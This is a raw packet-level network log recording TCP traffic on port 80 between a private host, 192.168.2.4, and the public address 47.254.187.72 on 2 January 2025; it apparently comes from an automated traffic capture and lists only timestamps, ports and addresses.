Jan 2, 2025 20:34:51.627305984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627326012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627332926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.627336025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627346992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627348900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.627357960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627367973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627379894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627384901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.627407074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.627418995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628156900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628201008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628207922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628211021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628221989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628233910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628240108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628245115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628261089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628284931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628293991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628300905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628307104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.628329039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.628343105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.682903051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682919025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682938099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682950974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682961941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682972908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682984114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.682991028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.682996035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.683024883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.683059931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.684808969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684860945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.684873104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684883118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684895992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684906960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684911966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.684919119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684930086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.684943914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.684986115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.685791969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685805082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685815096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685825109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685834885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685842037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.685844898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685857058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685866117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685872078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.685885906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.685909033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.685966969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685977936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.685987949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686002970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686012030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.686012983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686024904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686045885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.686053991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686058998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.686064959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.686091900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.686104059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.687468052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687484980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687517881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.687537909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.687546968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687557936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687568903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687591076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687592983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.687602043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687612057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.687621117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.687640905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688499928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688513041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688524008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688541889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688554049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688556910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688568115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688577890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688590050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688597918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688607931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688618898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688620090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688628912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688640118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688641071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688657999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688661098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688668966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688673973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688680887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688689947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688705921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688710928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688755989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688756943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688766956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688777924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688788891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688793898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688827991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688848019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688859940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688870907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688879013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.688889980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.688911915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.698729038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698755026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698766947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698777914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698790073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698795080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.698800087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698812008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.698812962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.698854923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.701919079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.701951981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.701987982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702008009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702011108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702022076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702039957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702048063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702049971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702059984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702064037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702075958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.702076912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702100039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.702124119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.704257965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704298019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704314947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.704336882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.704358101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704369068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704380989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704391003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704394102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.704402924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.704425097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.704468966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.706964970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707037926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.707045078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707056046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707067966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707082033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.707083941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707096100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707099915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.707107067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.707133055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.707161903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.711803913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711852074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.711869955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711879969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711889982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711915970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.711915970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711926937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711937904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711950064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.711956024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.711994886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.712006092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712080002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712083101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.712090015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712106943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712116957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712119102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.712126970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712140083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712150097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712151051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.712162018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.712172985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.712204933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.714086056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714097977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714108944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714124918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714135885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714138031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.714145899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714155912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714157104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.714165926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.714174032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.714204073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.715301991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715322018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715333939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715352058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715358019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.715362072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715373039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715377092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.715384007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.715408087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.715420008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.769788980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769817114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769829035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769840002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769850969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769862890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769876003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769886017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.769901991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.769932985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.769932985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.771595955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771620989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771631956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771642923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771653891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771663904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.771665096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771677017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771687031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.771706104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.771728039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772480965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772522926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772532940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772542953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772543907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772555113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772562981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772566080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772582054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772593021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772609949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772627115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772631884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772713900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772726059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772737980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772748947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772758961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772764921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772777081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772788048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772794008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772804976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772806883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772814989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.772841930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.772855043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.774286985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774332047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.774369955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774382114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774394989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774405956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774413109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.774415970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774426937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.774430037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.774466038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775190115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775211096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775223017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775230885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775239944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775253057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775259972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775262117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775273085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775286913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775305033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775326967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775333881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775337934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775350094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775361061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775363922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775392056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775410891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775422096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775424004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775433064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775443077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775448084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775461912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775473118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775473118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775484085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775501013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775527000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775542021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775563002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775573969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775585890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775585890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775595903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775604010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775609016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.775635958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.775648117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.785418034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785460949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785470963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785490990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785501957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785505056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.785511971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785522938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785532951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785545111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.785552025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.785573006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.785583019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.788610935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788666964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788676023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788687944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788688898 CET	49730	80	192.168.2.4	47.254.187.72
